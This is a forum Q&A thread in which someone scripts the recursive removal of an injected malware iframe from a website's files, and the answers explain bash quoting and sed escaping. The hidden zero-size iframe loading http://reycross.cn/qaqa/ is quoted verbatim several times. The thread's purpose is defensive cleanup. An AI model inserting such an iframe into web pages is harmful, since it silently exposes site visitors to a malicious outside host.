views:

773

answers:

3

I am working to create a script which will take a string as an argument and replace recursively in a directory. The simple case (a single word) is admirably handled by the following find and replace script:

grep -rl $1 . | xargs sed -i .backup -e "s/$1/$2/g"

But here things get a bit more tricky. The string I am trying to deal with is a malware script which infected a website I wrote (but do not host):

<iframe src="http://reycross.cn/qaqa/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

This string is obviously complex for both bash and sed would require some escaping. I have experimented with rpl, a special purpose replacement tool, but it doesn't handle the whitespace well:

rpl -pR $* '' *

At the prompt however, I am able to replace $* with the string and get the expected behavior. Any ideas about how to wrangle bash, sed, or rpl into a cute remove-long-string.sh?

A: 

I don't know rpl, but does it help if you quote the first argument? That'd pass the entire string, spaces and all, as one argument. Without quotes your shell will split it into multiple arguments.

rpl -pR "$@" '' *

or

rpl -pR "$1" "$2" *
John Kugelman
No, with "$*" the shell will concatenate the arguments: the argument list "one" "two three" "four" becomes "one two three four".With "$@" this does not happen, the argument list does not change. See the bash man page for details.
immibis
+1  A: 

This is because bash splits each argument at every space with $*

Try the following:

rpl -pR "$@" '' *
immibis
Thanks, that did the trick. Now I can replace to my heart's content from the command line.
speciousfool
+1  A: 

No, that string, as it is, doesn't need any escaping :).

var='<iframe src="http://reycross.cn/qaqa/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>'
echo "$var" | grep -v "$var" # prints nothing
echo "$var" | sed "s#$var#complete match#" # prints "complete match"

If you need to use generic string with any number of any special chars, then you'll need to escape it in reverse order of what it would be unescaped in.

In case of sed it is once for bash and once for sed's regexp.

Bash can be bypassed by

var="$(cat file_with_search_string)"

For sed you'll need to escape backslash first, and then sed border character (# in above example) and all regexp controls -- ^$[].*+? and so on.

var="${var//\\/\\\\}"
var="${var//#/\\#}"
var="${var//[/\\[}"
# ...
# I'm sure this can somehow be converted into tr script
grep -rl $1 . | xargs sed -i .backup "s#$var#here be dragons#g"
Eugene
Interesting solutions, but I think the var trick won't help pass the long string as a command line argument.
speciousfool
I don't think there is a limit other than max argument length limit (128Kb on linux I think)
Eugene